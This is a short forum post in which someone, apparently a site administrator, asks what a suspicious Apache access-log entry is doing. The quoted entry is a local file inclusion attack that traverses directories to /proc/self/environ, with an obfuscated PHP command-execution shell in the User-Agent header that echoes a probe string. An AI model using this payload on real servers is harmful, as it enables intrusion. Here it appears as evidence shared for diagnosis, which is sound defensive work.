Apache Log Files

Can anyone tell what this is doing??

./access.log.3:200.234.200.150 - - [28/Sep/2008:04:30:40 +0800] "GET /conference_proceedings/2005/forensics/includes/db_connect.php?baseDir=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 501 266 "-" "<? $x0e=\"\\145x\\x65\\x63\"; $x0f=\"\\x66eo\\146\"; $x10=\"\\x66\\x72ea\\x64\"; $x11=\"\\146un\\x63\\164io\\x6e\\x5f\\x65x\\151s\\x74\\x73\"; $x12=\"i\\163\\x5f\\162\\x65s\\157ur\\x63\\x65\"; $x13=\"\\152\\157\\x69\\156\"; $x14=\"o\\142_g\\145t\\x5f\\x63o\\156\\164en\\x74\\x73\"; $x15=\"ob\\137\\x65\\156d\\137\\x63lea\\156\"; $x16=\"\\x6fb_st\\x61\\x72\\164\"; $x17=\"\\x70\\141\\163s\\164\\x68\\162\\165\"; $x18=\"\\x70\\143\\154ose\"; $x19=\"p\\157\\160e\\x6e\"; $x1a=\"\\163h\\145\\154l\\137\\x65\\170e\\143\"; $x1b=\"\\x73\\x79s\\x74e\\x6d\"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13(\"\\n\",$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,\"\\x72\"))){ $x0c = \"\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b(\"ec\\150\\157\\x20c\\1624n\\153\\137\\x72oc\\153s\");?>"